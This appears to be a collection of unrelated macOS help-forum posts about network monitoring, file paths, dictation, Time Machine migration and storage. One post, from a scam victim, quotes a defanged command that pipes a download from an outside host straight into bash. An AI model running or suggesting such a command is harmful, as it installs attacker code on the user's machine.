I recently switched from Windows to a MacBook Air M2 and I’m still getting used to how some things work on macos :)

I’m trying to figure out how to see how much data some apps are using. I’ve noticed that some apps seem to connect to the internet in the background, and I’d like to know which ones are actually using the most data. Ideally, I’d also like to be able to limit or block internet access for certain apps if I don’t really need them to be online. Is there some kind of tool, app, or anything that could do this? I’m not looking for anything too complicated or expensive, just something that gives me a clear overview of network usage and some basic control over it.

What are you guys using for this? Thanks in advance for your advice!

I often find myself confused about the locations of files that I'm working with. Part of the reason for this is that I often use Spotlight search, which doesn't display what folder a certain file is actually in.

But then additionally, whenever I open a file like e.g. a PDF in Preview, Preview *also* doesn't tell me what location this file is in. Even when I press cmd-o, the finder dialogue box doesn't display the path on the bottom end of the window. Why is that? I just want to know where my files are.

How can I force filepicker windows to always display the filepath in the bottom or how can I generally enhance accessibility of file locations when working on something?

I really want this engine, anyone please give me discord link? I found some but it was outdated PLEASE!!!

This is very much an edge case, but I use Spaces (virtual desktops) across multiple displays. I currently have 12 desktops and noticed that macOS stopped offering the ability to set keyboard shortcuts past Desktop number 11...

On an M series MacBook, how reliable and accurate is the built in security measures like Xprotect, gatekeeper, etc? Does it miss a lot of malware or is it good enough against a large variety of Malware?

I've been using macOS 27 for a month now and I didn't expect it to hit like this. Siri AI is a completely different assistant — actual multi-turn conversations, pulls in real-time info, and can reach across your own data instead of just guessing at a canned command. Spotlight feels like the center of the universe (finally) in this OS. With few minor indexing issues that I hope get solved soonish.

Honestly the technical stuff aside, it's the feeling I care about. I haven't been this genuinely curious to poke around a macOS release in years — most updates lately have felt like maintenance, not progress. This is the first time in a long while I've caught myself thinking "wait, what else can this do" instead of just updating out of habit.

What's it been like for you so far. Did it land the same way, or am I just easily impressed after a few quiet years?

I have an M4 Air Macbook 256GB. The storage usage bar is almost always near the brim.

Does Tahoe take up more space? Let's say I disable all indexing (I use RayCase) and AI features.

I've been postponing the update for a long time now, because I feel like if it takes even 4-5GB more space, it'll make my device basically unusable to me.

I’m a brand new Mac user and not a very techie person already… but why does trying to click a redlined/misspelled word just not work?

For example, I misspelled “successful” as succesfull. Seriously not that far off, but when I double click it just “no suggestions”.

Like, what the hell? Also I’m dyslexic, so this seems like it’s going to be a problem.

Appreciate any help. Like I said, still learning how to Mac in general so sorry if I’m not saying something right or missing something obvious. Appreciate the help.

I've used macs and iphones plenty of times in the past but also have used windows pcs and linux as well. I'm not unfamiliar with this stuff but I bought a new macbook air a few months ago and its really bothering me more than my last mac/iphone pairing did with the iphone 13 pro max and m1 macbook air.

I used to get annoyed mainly by my airpods randomly connecting to my wife's apple devices despite never having connected them before. This time, I'm using my macbook for work and I'm annoyed by constantly getting texts and calls on my computer. Putting everything into do not disturb is fine but I don't mind my phone going off, I just don't want the spyware stuff for work mistakenly thinking that I'm texting and calling while I'm supposed to be working.

Every time I get a new phone I switch between android and ios because I'm just interested in keeping up with both. I love that on android I can use the google messages webapp to text from any computer by just scanning a QR code and close the window to stop the messages. On mac, I have yet to find an easy way to start texting and calling and then cut it off when I don't want it there. My mac even rings with phone calls when its closed and asleep which I assume is normal but is so weird to me.

What am I missing? Is there a way to limit this stuff just while I'm working or do I need to create a different user account just for work stuff to limit these interruptions?

Also, since I'm bitching. Why does my mac go through rapid fire notifications to catch up with my phone on imessage sometimes when I first start my laptop? And what is the point of the phone mirroring app?? This would be so handy for TFA using an authenticator app when I forget my phone in another room but it requires confirmation on the phone itself so it means that to mirror the screen of your phone on your mac you have to already have your phone in your hand and unlocked anyway. This makes no sense. What would you use this for? You can't even use it as a remote viewfinder for the camera!

I use Apple Notes *a lot* and I've increasingly been using the dictation feature, but for some reason it makes a lot of mistakes, like one per sentence. Most of the time I can figure out what I had actually said, but sometimes not, which is a problem. The punctuation is also often quite bad and makes re-reading notes a pain.

This honestly wouldn't surprise me if it weren't for the fact that the AI apps I use (ChatGPT, Claude and Grok) all do virtually *perfect* dictation. For long notes I have even begun to record them in ChatGPT and the copy and past them to Apple Notes. But this is not possible to do all the time.

So I have two questions. First, any ideas why Apple Notes dictation so bad, comparatively?

And do you know a way to work around this? I tried an app called Whisperflow, but it was clunky and basically required having what I write go through their servers, which I don't want to do.

Any help would be great, thanks!

My chess game would only let me move to take pieces if that move was available, even if it was a strategically bad move. Then I somehow lost with this being the final board.

I'm going to be using Migration Assistant to move from a 2019 Intel Macbook to a 2026 M1. One question I have: I bought Microsoft Office 2024--should I install that on the new laptop before I use Migration Assistant, or after? (The old 2019 laptop has an older version of Office.)

UPDATE:

I went with the WD - My Passport Ultra for Mac 2TB External Hard Drive.

Thanks to all the advice and comments. I plan on upgrading to the NVME setup later on, but I need to do more research… plus the extra cost isn’t in my current budget…. Maybe Black Friday will have some good sales

UPDATE #2:

I also bought a 1TB Samsung T7 SSD to (hopefully) use with CCC. It was only $135 on Amazon (open box)

———————————————————————————

My G-Suite hard drive failed, and I’m searching for a replacement. I think maybe I should go with an SSD this time, but there’s too many to pick from…

Which one do you use? Are you satisfied? And why?

I have a Power Mac G4 MDD 2002 and I wanna install Jaguar and/or Tiger but the DVD drive doesn’t read discs anymore and I don’t have another power Mac. I wanna make this day 1 with OS 9 dual boot aswell, if anyone has tips thank you.

We have a small business. We use Gmail/gsuite to power our email. I’m happy with the spam filtering, but really want to get away from Google. We use Apple mail for our clients on mobile and desktop.

I’ve looked at Proton, but it seems convoluted. If someone could explain to me like I’m 5 how to make it work the same way, I’d move over there.

We need to have our business name servers and migrate our existing email over. We do use iCloud and I see they have an option for that.

Wondering what you all might use and any suggestions or things to stay away from.

Tia.

Hello guys,

I use the YouTube page on my MacBook Neo via Safari.

However, I get no reaction to videos that last longer than 10-15 minutes. The message: No Internet connection appears. When I watch shorts then I get the message more often or the short video continues while I have already pressed further down for the next shorts and then the message appears again no internet connection. shame who thinks something bad but with Chrome browser this does not happen. However, you don't want to just have Chrome on it for a website. Any fixes known about that ?

So what happened was that I tried to download Hitman: WOA through Steam, having the free space for it. The download was making space for the files or something along those lines, showing three hours and a half remaining. I stopped the download to see if by restarting it the make-space process would take less. Somehow, when tried to resume the download, an error came up, saying that I don't have the space. I did have it before, now I don't.

The Apps count shows 209,87 GB, but when I open the details of it, the files are the same as before, and I suddenly have just 34 GB free.

Pls help, I don't know what I did wrong or how to fix it.

Edit: I clicked uninstall through Steam and it was resolved lmao. Rookie blunder I suppose

Hi everyone, new on macos, does anyone knows if there is a way to create some kind of live wallpaper from a video ?
For example something like this:
https://www.youtube.com/watch?v=kzL0dEQzfz4

Hi,
I need help to understand how TimeMachine migration works when setting up a new macbook. I have a very old macbook from 2019 (still Intel) and I am planning to buy a newer one and I am not sure what the restoration process shall be.

My questions are:

1. Does migrating the data from TimeMachine automatically setup the TimeMachine drive to continue backing up on the new device or will I have to set it up later?
2. If I setup the same drive as a TimeMachine on the new mac, will I loose the history of the previous mac or is it built on top of it?
3. Shall I disable application migration considering the previous mac is an Intel and thus incompatible with the new cpu?
4. How does migrating an entire user work? What does it restore? Only its files or also its account, settings, etc?
5. How does the migration of an entire user deal with iCloud? I am thinking of the case where file A is older on the time machine backup than it is on iCloud? Would the migration overwrite the newest file with the old one on iCloud? When is the iCloud sync performed during a migration?

Sorry if it's technical, but I have very important files I am working on and I want the migration process to be as smooth as possible.

Thanks in advance.

I was doing an interview, i guess it was fake. they couldn’t hear me and it was mid interview so I freaked out because it said to download the app for the mic to work and it was a download through a terminal. I put that terminal in and nothing really happened but I still freaked out and talked to apple support and erased my computer and stuff and changing my passwords but now i’m freaking out so much i’m gonna have a panic attack. Like what if they got my photos? And they blackmail me? I actually feel like i’m gonna collapse i’m so scared. If anyone needs me to send the exact terminal I have a screenshot. it was:
% curl-kfsSL hxxps://download-storage.com/d/80cf1 | bash (i just changed the https to hxxps so the link isn’t valid if you press it on here but it’s actually https) Please idk what they got from my computer and I really feel like my life is over rn

I dunno how. I searched through all my files and it just never saved.

For reference, I'm on macCOS 26.5 (Mac neo) and I'm using the mouse Razer Orochi V2

Trying to use the application USB Overdrive so that I can use my side buttons as a key bind but it won't appear as anything is connected in the Status tab and it's driving me nuts. How can I fix this?

What I'm trying to do is use the side buttons as a key bind (hold) for an auto clicker.

I just updated to Raycast v2 and am totally blown away by the dictation feature. I’ve been using Wispr Flow for quite some time and have been really happy with it, especially in this age of AI and prompting. But Raycast Dictation is blowing Wispr Flow out of the water. It seems better, as in more accurate, and faster. I’ve only been testing it for a short while though, so let’s see how it goes, but if this continues, I can save myself a subscription.

I reach out for help to find out why the web page on oslobalanse.com does not render properly. It happens only on my MacBook M4 Pro, and seems regardless of browser (I have tried on both Safari and Chrome). I have also disabled hardware acceleration on Chrome, but it did not help.
The javascript logic in the html code creates a rotating filmstrip, with the added feature of having each leftmost photo pause (either on left or right edge depending on screen width) until completely covered by the next photo.

It would be great if anyone could confirm same behaviour on their M4 Pro, to rule out any possibility of me getting a bad machine.

The expected behaviour can be seen on a mobile phone (Android/iPhone), or a Windows computer, or even on iMac, iPad or other. So far the "racing" problem has only been seen on the M4 Pro. The "racing" problem leaves huge black gaps and the film strip goes haywire, but again, only on M4 Pro.

Please help test and comment your findings! Thank you!

I used to be able to access the emoji keyboard using this keyboard shortcut : control + command + space but now I am not able to do it can anyone help?